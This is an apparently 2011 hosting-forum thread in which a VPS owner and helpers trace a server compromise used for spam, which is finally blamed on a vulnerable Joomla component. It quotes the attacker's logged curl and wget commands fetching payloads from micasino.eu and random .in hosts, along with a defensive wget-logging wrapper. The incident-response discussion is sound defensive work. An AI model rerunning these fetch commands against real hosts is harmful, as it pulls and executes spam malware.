Could need some help with a compromised system... cannot find the door in...

[Big Tom]

My VPS server got hacked a few months ago and after finding (at least I thought so), the application/site with the exploit and shutting it down, it was quiet for a long time and now the friends that should be shot are back trying to send spam through my system.
So far I got it contained and prevent spam from being sent out by replacing these commands with shell scripts:
curl - this is being used to download the scripts from some .in domains (the hoster gives a **** as expected...). The curl command they try to execute are these (the micasino.eu is the actual script that is supposed to do the rest, the others are downloads for slightly encrypted message and receipient information...)
Thu Dec 1 04:33:14 EST 2011
-s http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:23 EST 2011
http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:24 EST 2011
-s -k https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 04:33:25 EST 2011
-s -k https://vrdjwjmurx.qlwiysjfav.in:190...f470&ch eck=1
Thu Dec 1 04:36:34 EST 2011
-s -k https://ddpbtadfrc.amhrixwypu.in:190...ec6b&chec k=1
Thu Dec 1 04:39:43 EST 2011
-s -k https://fqnqgyjjyo.xgvneqdwbn.in:190...4768&ch eck=1
Thu Dec 1 04:42:53 EST 2011
-s -k https://gtkcqbroqo.tmdnzapomk.in:190...21d8&chec k=1
Thu Dec 1 04:46:02 EST 2011
-s -k https://dflwkeausm.puvvgprgaq.in:190...f6f1&chec k=1
wget is the other route they try to get their crap installed through
Thu Dec 1 04:33:07 EST 2011
-q -O - http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:24 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 05:49:11 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 06:52:22 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
rpm an interesting way to get "sendmail" back...
They are using rpm to re-install "sendmail" (after I removed it ....)

There are some other things that the script tries to do, like shutting down iptables.

My problem now is that I know when they come in, I got the netstat and ps output from that time:
netstat output
ps output (the "interesting" part starts line 47 - no idea how they can initiate a sshd session. sshd is tied down to my 2 static IPs).
secure output Looks like a lot of guys like my server...

By blocking the outgoing traffic on port 1905 (that is the one they download the junk from India on), I could get it down to the one IP on my VPS they must be getting in on...
04:33:28 vps kernel: Firewall: *TCP_OUT Blocked* IN= OUT=venet0 SRC=69.73.161.32 DST=94.23.208.20 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=24447 DF PROTO=TCP SPT=48748 DPT=1905 WINDOW=584
0 RES=0x00 SYN URGP=0

I cannot find the application they get in through - any thoughts how to search for the vulnerability?

[Ron]

It sounds like you may be dealing with a live person, not a script... Did it try to re-install sendmail instantly, or after a human amount of time? In other words did a script do it, or did a human figure it out?

I'd trace through all the logs (Apache, etc., applications if any), backwards by IPs. Looking what the last IP did, looking at what files they touched, going back to see those files being touched by another IP. Slow and tedious.
Have you replaced the SSH daemon? Maybe they installed a hacked version with a backdoor...

I love the approach of replacing the commands with scripts. maybe you could do more of that, perhaps. That could be tedious too... maybe allowing a list of allowable processes to use them, logging everything.

I don't know if there are complete system-wide loggers out there, I'd imagine there are.

[JPC-JamesG]

Hello,
If this is a consistant issue and you need a resolution, please open a ticket for our techs to assist you. They may be able to help find the cause and fix the issues for you while securing your VPS to the highest standard.

[Big Tom]

Thanks Ron. I am closing down everything coming out of the 3rd world countries like Russia and China (csf works fine for that).

James, I have it contained but unfortunately not resolved. I will play with it a little bit more and will open a ticket if needed. At the same time, sharing some of it here may help others in the future.

Tom

[JPC-Sabrina]

It will help to share your information on the forums. Some users actually enjoy tracking down their own issues and resolving the problem. It looks like you are that type. We have a few regular users here on the forums that post issues and resolve complex and simple issues. Their expertise can be a big help at times. Keep us updated and thanks for being a participant here on the JaguarPC forums.

[Ron]

If they're coming in via only 1 IP, maybe you could move the associated sites off that IP and set up a fake account so you could replace almost all of the executables with the script.

Is there any kind of super logging that can be turned on in SSH?

[Ron]

Looks like if you start ssh with -ddd (or -d -d -d ?) you get enhanced debugging info. I wonder if that will help?

[JPC-Catalin]

From the PS output you provided I noticed :

root 12224 11696 0 04:33 ? 00:00:00 bash -c wget -q -O - "http://www.micasino.eu/test.jpg" | grep -c version=
root 12236 12224 0 04:33 ? 00:00:00 bash -c wget -q -O - "http://www.micasino.eu/test.jpg" | grep -c version=
root 12242 12236 0 04:33 ? 00:00:00 ps -efAH
root 12237 12224 0 04:33 ? 00:00:00 grep -c version=

Seems the box has been compromised at root level. They either managed to get the root password or used a local root exploit. Try scanning your server with rkhunter or LMD Linux Malware Detect | R-fx Networks to see if there are any compromised binaries.

Please also check if yum is available and working on your box to upgrade the system packages.

If you bump into something feel free to contact us to kill the hacker

PS: it will be better to move you on another server with fresh OS.

[Big Tom]

All their "work" is not done via ssh or telnet (that is all closed down to my static IPs), it must be some kind of exploit. When you look at the command prior to the bash / wget, you can see that pearl is actually invoking the shell. The problem with pearl is that I cannot replace it with a script to easier log the calling arguments and pearl logging seems to be non-existent?
rkhunter is installed and does not find anything, I also tried clamscan which comes back clean. I will give the Linux Malware Detect a try - thanks for the link.

Btw - it is not that I really "enjoy" figuring it out, and most likely it is a bot net that is spreading itself. An indicator for that would be pretty much the same time of the day when the attacks start each day - 4:30pm until 8am... and no, it is not cron :-)

Jag admins: when you get onto the systems and you see a command not working as expected (e.g. the "rpm", simply try again with ".ori" added - so rpm.ori would be the executable. rpm is only a script doing some checks and logging... ) wget for example looks like this:

ap=`grep -e "$*" /home/tools/wget.approved | wc -l`
if [ $ap -gt 0 ];
then
/usr/bin/wget.ori $*
else
echo "wget.cmd" >>/home/tools/ps.log
ps -efAH >> /home/tools/ps.log
date >>/home/tools/wget.log
echo $* >>/home/tools/wget.log
fi

[Big Tom]

Hey Catalin, the hint regarding the Linux Malware Detect software was great. It looks like it found something - it was a Joomla 1.5 component called "ChronoContacts". I have not seen any further activity since I remove this component from the accounts. Let's see what happens in the next few days...

[Ron]

Cool! With that suspicion, can you now go back in your logs and see the intrusion(s)?

[Big Tom]

No, I could not find anything in the logs showing that component/URL, but right now, the complete VPS is unreachable. I will check when I get back in.

Does anybody know a way to trace all requested URLs? I could not find that anywhere in Apache.